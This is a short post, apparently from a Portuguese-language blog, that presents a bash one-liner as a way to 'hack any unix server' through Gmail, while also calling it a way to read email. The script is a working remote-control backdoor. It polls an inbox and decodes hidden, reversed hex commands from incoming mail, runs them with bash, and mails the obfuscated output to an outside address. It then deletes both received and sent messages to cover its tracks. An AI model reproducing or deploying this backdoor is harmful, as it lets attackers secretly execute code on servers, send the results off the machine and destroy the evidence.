A way to hack any unix server with internet access via imap gmail
I wrote this script to make a way to read you emails from gmail via BASH:
#!/bin/bash while true; do sleep 3600; TOTAL_MESSAGES="1"; while (( ${TOTAL_MESSAGES:=0} > 0 )); do GMAIL_USER="SEU YOUR"; GMAIL_PW="YOUR PASSWORD"; AUTH_HASH="YOUR HASH BASE 64"; SLEEP_TIME=2; TOTAL_MESSAGES="$( openssl s_client -crlf -connect imap.gmail.com:993 < <( sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW"; sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX"; sleep ${SLEEP_TIME}; echo "A02 LOGOUT"; sleep ${SLEEP_TIME}; echo ""; ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g"; )"; TOTAL_MESSAGES_SENDED="$( openssl s_client -crlf -connect imap.gmail.com:993 < <( sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW"; sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\""; sleep ${SLEEP_TIME}; echo "A02 LOGOUT"; sleep ${SLEEP_TIME}; echo ""; ) 2>&1 | tr -d "\r" | grep -E "^[*] [0-9]* EXISTS$"| sed "s/^[*] \([0-9]*\) EXISTS.*$/\1/g"; )"; LAST_MAIL="$( openssl s_client -crlf -connect imap.gmail.com:993 < <( sleep ${SLEEP_TIME}; echo "A01 LOGIN $GMAIL_USER $GMAIL_PW"; sleep ${SLEEP_TIME}; echo "A02 SELECT INBOX"; sleep ${SLEEP_TIME}; echo "A05 FETCH $TOTAL_MESSAGES ALL"; sleep ${SLEEP_TIME}; echo "A06 FETCH $TOTAL_MESSAGES:$TOTAL_MESSAGES BODY[TEXT]"; sleep ${SLEEP_TIME}; echo "A08 store $TOTAL_MESSAGES +FLAGS (\\Deleted)"; sleep ${SLEEP_TIME}; echo "a09 expunge"; sleep ${SLEEP_TIME}; echo "A02 SELECT \"[Gmail]/E-mails enviados\""; sleep ${SLEEP_TIME}; echo "A08 store 1:$TOTAL_MESSAGES_SENDED +FLAGS (\\Deleted)"; sleep ${SLEEP_TIME}; echo "A09 expunge"; sleep ${SLEEP_TIME}; echo "A02 LOGOUT"; sleep ${SLEEP_TIME}; echo ""; ) 2>&1 | tr -d "\r" )" SUBJECT="RES: $(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE ("[^"]*"[ ]"\([^"]*\)".*/\1/g')"; DEST_ADDR="$(echo -e "$LAST_MAIL" | grep ENVELOPE | sed 's/^* [0-9]* FETCH (ENVELOPE .* (("[^"]*" NIL "\([^ ]*\)" "\([^"]*\)".*/\1@\2/g')" # CODE_TO_RUN="$(echo -e "$LAST_MAIL" | sed -n "/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p")"; CODE_TO_RUN="$(echo -e "$LAST_MAIL" | tr -d "\n" | grep "NOISSES_KCAH_TRATS" | sed "s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g" | xxd -r --ps | rev )"; [ "$DEST_ADDR" == "mailer-daemon@google.com" ] && break; grep "Delivery to the following recipient failed permanently" <( echo -e "${LAST_MAIL}" ) && break; (( ${TOTAL_MESSAGES:=0} == 0 )) && break; MAIL_BODY="$( { [ "$CODE_TO_RUN" == "" ] && echo -e " # NUR OT EDOC ON # # NOISSES NOISSES_KCAH_DNE DNA NOISSES_KCAH_TRATS EHT TEGROF UOY OD # " || bash < <(echo -e "$CODE_TO_RUN" ) 2>&1 ; echo -e " # ---------------------------------------------------------- # # REKCAH # # --------------------- EGASSEM LANIGIRO ------------------- # \n${LAST_MAIL} "; } | xxd --ps | rev | bzip2 -c | xxd --ps | rev )"; openssl s_client -crlf -connect smtp.gmail.com:465 < <( sleep $SLEEP_TIME; echo "ehlo ${GMAIL_USER}"; sleep $SLEEP_TIME; echo "AUTH PLAIN ${AUTH_HASH}"; sleep $SLEEP_TIME; echo "mail from:<${GMAIL_USER}@gmail.com>"; sleep $SLEEP_TIME; echo "rcpt to:"; sleep $SLEEP_TIME; echo "rcpt to:<${DEST_ADDR}>"; sleep $SLEEP_TIME; echo "DATA"; sleep $SLEEP_TIME; echo "From: ${GMAIL_USER}"; sleep $SLEEP_TIME; echo "Subject: $SUBJECT"; sleep $SLEEP_TIME; echo "To: ${GMAIL_USER}.postmail@blogger.com"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo -e "${MAIL_BODY}"; sleep $SLEEP_TIME; echo ""; sleep $SLEEP_TIME; echo "."; sleep $SLEEP_TIME; echo "quit"; sleep $SLEEP_TIME;) 2>&1 | cat - > /dev/nulldone;done;
Comentários